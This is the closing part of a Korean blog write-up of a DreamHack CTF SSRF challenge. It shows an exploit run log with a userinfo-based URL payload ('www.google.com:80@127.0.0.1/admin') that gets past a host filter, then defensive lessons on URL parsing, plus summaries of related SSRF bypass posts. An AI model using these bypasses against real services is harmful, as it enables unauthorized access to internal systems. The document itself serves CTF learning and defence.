[*] 배포본으로 컨테이너를 빌드한다 (extracted/Dockerfile)
[*] 익스 실행 — /check-url 이 60초 IP 재검증 루프를 돌아 1분 넘게 걸린다
[*] target   : http://127.0.0.1:18413
[*] nickname : repro-1792524612
[*] sha256   : 9585762e355b86a4194a1cf130ca019f5f1582ea00300db21150a187dd2fdcd2
[*] payload  : http://www.google.com:80@127.0.0.1/admin?nickname=repro-1792524612
[*] POST /check-url  (서버가 60초간 IP 재검증 루프를 돈다)
[+] 60.4s  200  {"status_code":200,"url":"http://www.google.com:80@127.0.0.1/admin?nickname=repro-1792524612"}
[*] POST /flag
[+] 200  DH{REDACTED}
 
✅ PASS  DH{REDACTED}  (배포본은 flag 를 가린 채로 배포된다 — 우회 체인은 성립)

로컬 환경은 Ubuntu 25.10 · Python 3.13.9 · Docker 28.5.2 였고, 컨테이너는 배포본 Dockerfile 그대로 python:3.10-slim 이다. --live 쪽은 드림핵 인스턴스가 살아 있을 때만 의미가 있다.



📝 결론

검사한 문자열과 접속한 문자열이 같아도 안전하지 않다

같은 URL 문자열을 두 번 파싱하면 두 결과가 다를 수 있다. 이 문제의 필터는 정규식으로 authority 를 잘 잡아냈고, 사설 대역도 60번이나 확인했고, 리다이렉션 깊이까지 제한했다. 그런데 split(":")[0] 한 줄 때문에 전부 소용없어졌다.

호스트를 직접 파싱하지 말고 라이브러리에 맡긴다

방어 코드가 봐야 하는 값은 "HTTP 클라이언트가 실제로 접속할 호스트" 다. 그러니 그 값을 같은 계통의 파서에서 꺼내 와야 한다. 파이썬이면 urllib.parse.urlsplit(url).hostname 이나 urllib3.util.parse_url(url).host 다. 정규식으로 다시 긁는 순간 두 해석이 갈릴 여지가 생긴다.

문자열 검사 대신 해석된 주소를 검사한다

더 확실한 방법은 문자열 단계에서 끝내지 않는 것이다. 호스트를 해석한 뒤 소켓을 연결할 때 그 IP 를 한 번 더 확인하거나, 애초에 아웃바운드를 프록시 한 곳으로 몰아 거기서 목적지를 통제한다. 문자열 수준의 화이트리스트는 우회 표기법을 하나씩 막는 싸움이 되고, 그 싸움은 대체로 진다.

주석 처리한 보안 코드는 없는 것과 같다

이번 문제의 @ 차단은 주석 세 줄로 남아 있었다. 디버깅하다 잠깐 꺼 둔 검사가 그대로 배포되는 일은 실제 서비스에서도 흔하다. 검사를 끄려면 테스트가 깨지도록 짜 두는 편이 낫다.

읽기가 아니라 쓰기를 노리는 길도 있다

/admin 은 플래그를 보여주지 않고 덮어쓰기만 한다. 원래 값은 끝까지 모르지만 문제는 풀렸다. 비교 대상을 내가 아는 값으로 바꿀 수 있으면 비교를 통과하는 데 원본을 알 필요가 없다. 비밀번호 재설정 토큰이나 서명 키를 다루는 코드에서도 같은 구도가 나온다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥈 Silver 2] 검사기는 문자열을 보고 curl 은 URL 을 파싱한다 — DreamHack curling 풀이
blog

[🥈 Silver 2] 검사기는 문자열을 보고 curl 은 URL 을 파싱한다 — DreamHack curling 풀이

"simple api server" 라는 한 줄 설명이 전부인 문제. 46줄짜리 Flask 앱이 url 파라미터를 받아 curl 로 대신 요청해 주는데, 호스트 화이트리스트가 접두사 비교라서 URL 의 userinfo 를 끼워 넣으면 통과하고, 엔드포인트 차단은 문자열 끝만 봐서 물음표 하나에 무너진다. 두 구멍을 한 줄에 겹쳐 놓으면 서버가 자기 자신에게 요청을 보내고 플래그를 뱉는다.
#dreamhack#ctf#web+6
2026-07-29#dreamhack +6
[🥈 Silver 2] SSRF로 내부 포트 스캔 — netloc 문자열 필터를 0.0.0.0으로 우회 — DreamHack web-ssrf 풀이
blog

[🥈 Silver 2] SSRF로 내부 포트 스캔 — netloc 문자열 필터를 0.0.0.0으로 우회 — DreamHack web-ssrf 풀이

이미지 뷰어가 입력한 URL을 서버가 대신 가져와 보여준다. 같은 프로세스 안에 flag.txt를 서빙하는 내부 SimpleHTTPRequestHandler가 1500~1800 중 한 포트에 떠 있다. 필터는 netloc에 `127.0.0.1`/`localhost` 문자열이 있는지만 보므로, 같은 loopback을 가리키는 `0.0.0.0`으로 우회하고 포트를 전수 스캔해 flag.txt를 읽었다.
#dreamhack#ctf#web+5
2026-06-24#dreamhack +5
[🥈 Silver 2] 콜론 하나로 빈 호스트를 만들어 file:// 을 통과시킨다 — DreamHack web-HTTP-CLI 풀이
blog

[🥈 Silver 2] 콜론 하나로 빈 호스트를 만들어 file:// 을 통과시킨다 — DreamHack web-HTTP-CLI 풀이

URL 을 받아 대신 긁어다 주는 43줄짜리 TCP 서비스. 호스트 화이트리스트는 눈에 잘 띄는데, 정작 대부분의 시도를 죽이는 건 그 위에 있는 튜플 언패킹이다. netloc 을 콜론으로 쪼갠 결과가 원소 2개가 아니면 검사에 닿기도 전에 ValueError 로 날아간다. netloc 을 콜론 하나로만 채우면 호스트가 빈 문자열이 되고, urllib 은 빈 호스트를 로컬로 보고 파일을 열어 준다.
#dreamhack#ctf#web+6
2026-07-29#dreamhack +5